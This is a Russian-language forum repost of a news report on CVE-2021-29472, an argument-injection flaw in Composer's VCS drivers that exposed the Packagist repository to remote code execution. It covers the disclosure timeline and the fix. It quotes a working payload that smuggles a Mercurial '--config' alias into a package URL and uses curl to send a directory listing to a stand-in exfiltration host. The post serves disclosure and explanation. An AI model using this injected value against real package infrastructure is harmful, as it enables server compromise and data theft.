Уязвимость в пакетном менеджере Composer, допускающая компрометацию PHP-репозитория Packagist
Автор
Сообщение
news_bot ®
Стаж: 6 лет 9 месяцев
Сообщений: 27286
В менеджере зависимостей Composer выявлена критическая уязвимость (CVE-2021-29472), позволяющая выполнить произвольные команды в системе при обработке пакета со специально оформленным значением URL, определяющим адрес для загрузки исходных текстов. Проблема проявляется в компонентах GitDriver, SvnDriver и HgDriver, применяемых при использовании систем управления исходными текстами Git, Subversion и Mercurial. Уязвимость устранена в выпусках Composer 1.10.22 и 2.0.13.
Особо отмечается, что проблема главным образом затронула по умолчанию применяемый в Composer репозиторий пакетов Packagist, насчитывающий 306 тысяч пакетов для разработчиков на языке PHP и ежемесячно обслуживающий более 1.4 миллиарда загрузок. В ходе эксперимента показано, что в случае наличия сведений о проблеме атакующие могли бы получить контроль над инфраструктурой Packagist и перехватить учётные данные сопровождающих или перенаправить загрузку пакетов на сторонний сервер, организовав доставку вариантов пакетов с вредоносными изменениями для подстановки бэкдора в процессе установки зависимостей.
Опасность для конечных пользователей ограничивается тем, что содержимое composer.json обычно определяется самим пользователем, а ссылки на исходные тексты передаются при обращении к сторонним репозиториям, обычно заслуживающим доверия. Основной удар пришёлся на репозиторий Packagist.org и сервис Private Packagist, вызывающие Composer с передачей данных, полученных от пользователей. Злоумышленники могли выполнить свой код на серверах Packagist разместив специально оформленный пакет.
Команда Packagist устранила уязвимость в течение 12 часов после поступления сообщения об уязвимости. Исследователи в частном порядке уведомили разработчиков Packagist 22 апреля и в тот же день проблема была исправлена. Публичное обновление Composer с устранение уязвимости было опубликовано 27 апреля, а детали были раскрыты 28 апреля. Аудит логов на серверах Packagist не выявил связанной с уязвимостью подозрительной активности.
Проблема вызвана ошибкой в коде проверки корректности URL в корневом файле composer.json и ссылках для загрузки исходных текстов. Ошибка присутствует в коде с ноября 2011 года. В Packagist для организации загрузки кода без привязки к конкретной системе управления исходными текстами применяются специальные прослойки, которые выполняются при помощи вызова "fromShellCommandline" с передачей аргументов командной строки. Например, для git вызывается команда "git ls-remote --heads $URL", где URL обработан при помощи метода "ProcessExecutor::escape($url)", экранирующего потенциально опасные конструкции, такие как "$(...)" или "`...`".
Суть проблемы в том, что метод ProcessExecutor::escape не экранировал последовательность "--", что позволяло указать в URL любой дополнительный параметр вызова. Подобное экранирование отсутствовало в драйверах GitDriver.php, SvnDriver.php и HgDriver.php. Атаке через GitDriver.php мешало то, что команда "git ls-remote" не поддерживала указание дополнительных аргументов после пути. Возможной оказалась атака на HgDriver.php через передачу параметра "--config" утилите "hq", позволяющего организовать выполнение любой команды через манипуляцию с настройкой "alias.identify". Например, для загрузки и выполнения кода через запуск утилиты curl можно было указать:
--config=alias.identify=!curl http://exfiltration-host.tld --data “$(ls -alh)”
Разместив в Packagist тестовый пакет с подобным URL, исследователи убедились, что после размещения на их сервер поступил HTTP-запрос с одного из серверов Packagist в AWS, содержащий листинг файлов в текущем каталоге.
===========
Источник:
OpenNet.RU
===========
Похожие новости
- Главная ссылка к новости (https://blog.sonarsource.com/p...)
- OpenNews: Атаковавшие SolarWinds смогли получить доступ к коду Microsoft (дополняется)
- OpenNews: Подтверждён факт взлома инфраструктуры проекта PHP
- OpenNews: Атака на зависимости позволила выполнить код на серверах PayPal, Micrоsoft, Apple, Netflix, Uber и ещё 30 компаний
- OpenNews: Отчёт о компрометации git-репозитория и базы пользователей проекта PHP
- OpenNews: Уязвимость, позволяющая удалённо выполнить код на сервере PHP-репозитория Packagist
Похожие новости:
- [Разработка веб-сайтов, PHP, Yii] История о модульном подходе в digital агентстве
- [Информационная безопасность, PHP, Программирование] Защита от уязвимости Dependency Confusion в PHP с помощью Composer (перевод)
- [PHP, Разработка под Android, Google API] SafetyNet Attestation — описание и реализация проверки на PHP
- [Open source, PHP, Symfony, Yii, Laravel] Package Wizard — незаменимый помощник при разработке веб-приложений
- [PHP, Программирование] Производительность Composer 2.0 с JIT PHP 8 (перевод)
- [PHP, Symfony, Управление разработкой, Управление проектами] У Вас проблемы с legacy — значит, Вам повезло! Распил монолита на PHP
- Доступен Composer 2.0.0, менеджер зависимостей для PHP
- [PHP] Composer 2: Что нового? (перевод)
- [Laravel, PHP, Symfony, Разработка веб-сайтов] PhpStorm 2020.2: объединенные типы PHP 8, новый движок потока управления, пул-реквесты GitHub, OpenAPI
- [PHP, Laravel] Создание собственного пакета для Laravel Nova: OptimalImage
Теги для поиска: #_composer, #_packagist
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Текущее время: 22-Ноя 20:49
Часовой пояс: UTC + 5
Автор | Сообщение |
---|---|
news_bot ®
Стаж: 6 лет 9 месяцев |
|
В менеджере зависимостей Composer выявлена критическая уязвимость (CVE-2021-29472), позволяющая выполнить произвольные команды в системе при обработке пакета со специально оформленным значением URL, определяющим адрес для загрузки исходных текстов. Проблема проявляется в компонентах GitDriver, SvnDriver и HgDriver, применяемых при использовании систем управления исходными текстами Git, Subversion и Mercurial. Уязвимость устранена в выпусках Composer 1.10.22 и 2.0.13. Особо отмечается, что проблема главным образом затронула по умолчанию применяемый в Composer репозиторий пакетов Packagist, насчитывающий 306 тысяч пакетов для разработчиков на языке PHP и ежемесячно обслуживающий более 1.4 миллиарда загрузок. В ходе эксперимента показано, что в случае наличия сведений о проблеме атакующие могли бы получить контроль над инфраструктурой Packagist и перехватить учётные данные сопровождающих или перенаправить загрузку пакетов на сторонний сервер, организовав доставку вариантов пакетов с вредоносными изменениями для подстановки бэкдора в процессе установки зависимостей. Опасность для конечных пользователей ограничивается тем, что содержимое composer.json обычно определяется самим пользователем, а ссылки на исходные тексты передаются при обращении к сторонним репозиториям, обычно заслуживающим доверия. Основной удар пришёлся на репозиторий Packagist.org и сервис Private Packagist, вызывающие Composer с передачей данных, полученных от пользователей. Злоумышленники могли выполнить свой код на серверах Packagist разместив специально оформленный пакет. Команда Packagist устранила уязвимость в течение 12 часов после поступления сообщения об уязвимости. Исследователи в частном порядке уведомили разработчиков Packagist 22 апреля и в тот же день проблема была исправлена. Публичное обновление Composer с устранение уязвимости было опубликовано 27 апреля, а детали были раскрыты 28 апреля. Аудит логов на серверах Packagist не выявил связанной с уязвимостью подозрительной активности. Проблема вызвана ошибкой в коде проверки корректности URL в корневом файле composer.json и ссылках для загрузки исходных текстов. Ошибка присутствует в коде с ноября 2011 года. В Packagist для организации загрузки кода без привязки к конкретной системе управления исходными текстами применяются специальные прослойки, которые выполняются при помощи вызова "fromShellCommandline" с передачей аргументов командной строки. Например, для git вызывается команда "git ls-remote --heads $URL", где URL обработан при помощи метода "ProcessExecutor::escape($url)", экранирующего потенциально опасные конструкции, такие как "$(...)" или "`...`". Суть проблемы в том, что метод ProcessExecutor::escape не экранировал последовательность "--", что позволяло указать в URL любой дополнительный параметр вызова. Подобное экранирование отсутствовало в драйверах GitDriver.php, SvnDriver.php и HgDriver.php. Атаке через GitDriver.php мешало то, что команда "git ls-remote" не поддерживала указание дополнительных аргументов после пути. Возможной оказалась атака на HgDriver.php через передачу параметра "--config" утилите "hq", позволяющего организовать выполнение любой команды через манипуляцию с настройкой "alias.identify". Например, для загрузки и выполнения кода через запуск утилиты curl можно было указать: --config=alias.identify=!curl http://exfiltration-host.tld --data “$(ls -alh)”
=========== Источник: OpenNet.RU =========== Похожие новости
|
|
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Текущее время: 22-Ноя 20:49
Часовой пояс: UTC + 5